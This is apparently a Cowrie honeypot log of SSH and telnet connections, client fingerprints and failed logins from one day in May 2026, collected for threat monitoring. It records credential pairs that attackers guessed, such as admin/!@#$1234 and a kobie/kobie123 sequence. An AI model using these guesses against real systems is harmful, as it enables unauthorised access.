{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:20.526448Z","src_ip":"119.28.9.170","session":"44447a399f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:21.342494Z","src_ip":"119.28.9.170","session":"44447a399f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:22.552817Z","src_ip":"119.28.9.170","session":"44447a399f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.349422454833984,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:29.809803Z","src_ip":"135.148.33.91","session":"11b683b5a59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.221.33.231","src_port":34690,"dst_ip":"159.203.135.109","dst_port":23,"session":"11affde25728","protocol":"telnet","message":"New connection: 113.221.33.231:34690 (159.203.135.109:23) [session: 11affde25728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:34.310620Z"}
{"eventid":"cowrie.session.closed","duration":12.860907077789307,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:47.171385Z","src_ip":"113.221.33.231","session":"11affde25728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00324034690857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:49.326473Z","src_ip":"38.49.154.114","session":"44f655f4b70b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.215877532958984,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:49.708718Z","src_ip":"135.148.33.91","session":"c62c173742ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":42744,"dst_ip":"159.203.135.109","dst_port":23,"session":"c539bf1bb844","protocol":"telnet","message":"New connection: 38.49.154.114:42744 (159.203.135.109:23) [session: c539bf1bb844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:50.770271Z"}
{"eventid":"cowrie.session.closed","duration":120.0020956993103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:52.070323Z","src_ip":"38.49.154.114","session":"ddc9ab9f22f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00330591201782,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:53.752864Z","src_ip":"38.49.154.114","session":"92c25a9a47c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":42898,"dst_ip":"159.203.135.109","dst_port":23,"session":"a32155a7d1f6","protocol":"telnet","message":"New connection: 38.49.154.114:42898 (159.203.135.109:23) [session: a32155a7d1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:54.862072Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":42984,"dst_ip":"159.203.135.109","dst_port":23,"session":"0598b04d7fd1","protocol":"telnet","message":"New connection: 38.49.154.114:42984 (159.203.135.109:23) [session: 0598b04d7fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:55.630606Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45488,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b36bc9f7b70","protocol":"telnet","message":"New connection: 98.158.129.28:45488 (159.203.135.109:23) [session: 5b36bc9f7b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:57.130392Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34690,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbc7c9a01549","protocol":"telnet","message":"New connection: 135.148.33.91:34690 (159.203.135.109:23) [session: bbc7c9a01549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:00.344027Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":56562,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbc728e8b66b","protocol":"ssh","message":"New connection: 4.213.160.153:56562 (159.203.135.109:22) [session: dbc728e8b66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:04.281776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:04.594604Z","src_ip":"4.213.160.153","session":"dbc728e8b66b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:04.783841Z","src_ip":"4.213.160.153","session":"dbc728e8b66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hldmserver","password":"123456","message":"login attempt [hldmserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:07.408998Z","src_ip":"4.213.160.153","session":"dbc728e8b66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:09.361323Z","src_ip":"4.213.160.153","session":"dbc728e8b66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44182,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed68637b1d5c","protocol":"telnet","message":"New connection: 135.148.33.91:44182 (159.203.135.109:23) [session: ed68637b1d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:14.197805Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47688,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7f8b8283e70","protocol":"telnet","message":"New connection: 135.148.33.91:47688 (159.203.135.109:23) [session: d7f8b8283e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:20.850081Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48962,"dst_ip":"159.203.135.109","dst_port":23,"session":"576c5116357e","protocol":"telnet","message":"New connection: 135.148.33.91:48962 (159.203.135.109:23) [session: 576c5116357e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:23.220819Z"}
{"eventid":"cowrie.session.closed","duration":31.36214828491211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:28.492400Z","src_ip":"98.158.129.28","session":"5b36bc9f7b70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.57337522506714,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:34.917266Z","src_ip":"135.148.33.91","session":"bbc7c9a01549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":54399,"dst_ip":"159.203.135.109","dst_port":23,"session":"4297d9112f90","protocol":"telnet","message":"New connection: 98.158.129.28:54399 (159.203.135.109:23) [session: 4297d9112f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:35.407481Z"}
{"eventid":"cowrie.session.closed","duration":35.93198108673096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:50.129653Z","src_ip":"135.148.33.91","session":"ed68637b1d5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.226.88.106","src_port":52314,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2a242cb2d2","protocol":"telnet","message":"New connection: 141.226.88.106:52314 (10.17.0.5:23) [session: 8f2a242cb2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:50.803886Z"}
{"eventid":"cowrie.session.closed","duration":33.238197565078735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:54.088182Z","src_ip":"135.148.33.91","session":"d7f8b8283e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31410217285156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:42:57.534819Z","src_ip":"135.148.33.91","session":"576c5116357e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.537002325057983,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:03.340794Z","src_ip":"141.226.88.106","session":"8f2a242cb2d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.402522087097168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:06.809881Z","src_ip":"98.158.129.28","session":"4297d9112f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54170,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c287a45a4b","protocol":"telnet","message":"New connection: 135.148.33.91:54170 (159.203.135.109:23) [session: e8c287a45a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:24.189862Z"}
{"eventid":"cowrie.session.closed","duration":120.01506662368774,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:50.785191Z","src_ip":"38.49.154.114","session":"c539bf1bb844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0025987625122,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:54.864509Z","src_ip":"38.49.154.114","session":"a32155a7d1f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00202488899231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:55.632438Z","src_ip":"38.49.154.114","session":"0598b04d7fd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":52194,"dst_ip":"159.203.135.109","dst_port":23,"session":"04a8ee593be9","protocol":"telnet","message":"New connection: 38.49.154.114:52194 (159.203.135.109:23) [session: 04a8ee593be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:57.166441Z"}
{"eventid":"cowrie.session.closed","duration":33.203206300735474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:57.392979Z","src_ip":"135.148.33.91","session":"e8c287a45a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":44162,"dst_ip":"159.203.135.109","dst_port":23,"session":"efc098b47bed","protocol":"telnet","message":"New connection: 98.158.129.28:44162 (159.203.135.109:23) [session: efc098b47bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:43:58.703044Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":36670,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff3123601b96","protocol":"ssh","message":"New connection: 84.239.42.8:36670 (159.203.135.109:22) [session: ff3123601b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:23.987643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:23.992503Z","src_ip":"84.239.42.8","session":"ff3123601b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:24.120068Z","src_ip":"84.239.42.8","session":"ff3123601b96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#$1234","message":"login attempt [admin/!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:24.618950Z","src_ip":"84.239.42.8","session":"ff3123601b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34054,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac19a92fd446","protocol":"telnet","message":"New connection: 135.148.33.91:34054 (159.203.135.109:23) [session: ac19a92fd446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:25.313000Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:25.749571Z","src_ip":"84.239.42.8","session":"ff3123601b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.298905611038208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:30.001851Z","src_ip":"98.158.129.28","session":"efc098b47bed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.45526361465454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:44:59.768141Z","src_ip":"135.148.33.91","session":"ac19a92fd446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":54774,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3b335439d51","protocol":"ssh","message":"New connection: 213.209.159.56:54774 (10.17.0.5:22) [session: b3b335439d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:32.214976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:32.221788Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:32.304912Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie","message":"login attempt [kobie/kobie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:32.706892Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie1","message":"login attempt [kobie/kobie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:33.792950Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie123","message":"login attempt [kobie/kobie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:34.881991Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie1234","message":"login attempt [kobie/kobie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:35.968669Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie12345","message":"login attempt [kobie/kobie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:37.053524Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:38.139175Z","src_ip":"213.209.159.56","session":"b3b335439d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01886773109436,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:45:57.185187Z","src_ip":"38.49.154.114","session":"04a8ee593be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":48410,"dst_ip":"159.203.135.109","dst_port":23,"session":"047996a7de83","protocol":"telnet","message":"New connection: 98.158.129.28:48410 (159.203.135.109:23) [session: 047996a7de83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:46:31.096302Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50924,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eecb755fa67","protocol":"telnet","message":"New connection: 135.148.33.91:50924 (159.203.135.109:23) [session: 2eecb755fa67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:46:36.182546Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52742,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f4ce63a3c3","protocol":"telnet","message":"New connection: 135.148.33.91:52742 (159.203.135.109:23) [session: 51f4ce63a3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:46:39.229429Z"}
{"eventid":"cowrie.session.closed","duration":31.633761405944824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:02.729897Z","src_ip":"98.158.129.28","session":"047996a7de83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39530,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e7a960c445","protocol":"telnet","message":"New connection: 135.148.33.91:39530 (159.203.135.109:23) [session: a0e7a960c445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:04.739055Z"}
{"eventid":"cowrie.session.closed","duration":33.87922024726868,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:47:10.061672Z","src_ip":"135.148.33.91","session":"2eecb755fa67","protocol":"telnet"}
